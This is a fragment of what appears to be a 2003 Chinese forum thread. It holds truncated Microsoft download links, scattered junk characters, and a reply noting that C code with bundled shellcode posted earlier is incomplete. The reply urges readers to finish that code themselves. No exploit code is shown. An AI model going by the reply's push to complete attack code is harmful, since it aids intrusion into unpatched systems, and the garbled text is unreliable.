5 U0 r( \0 N1 o2 z% h
http://microsoft.com/downloads/d ... &displaylang=en

$ I/ ]. u5 p. R- H* P+ AWindows Server 2003 64 bit Edition：

! Q% g- r3 b, H5 yhttp://microsoft.com/downloads/d ... &displaylang=en
' r% a0 q0 m) z+ |9 O

# e& X! s* g8 e4 U* }& t

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

& u1 g9 D* A6 J  ~

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。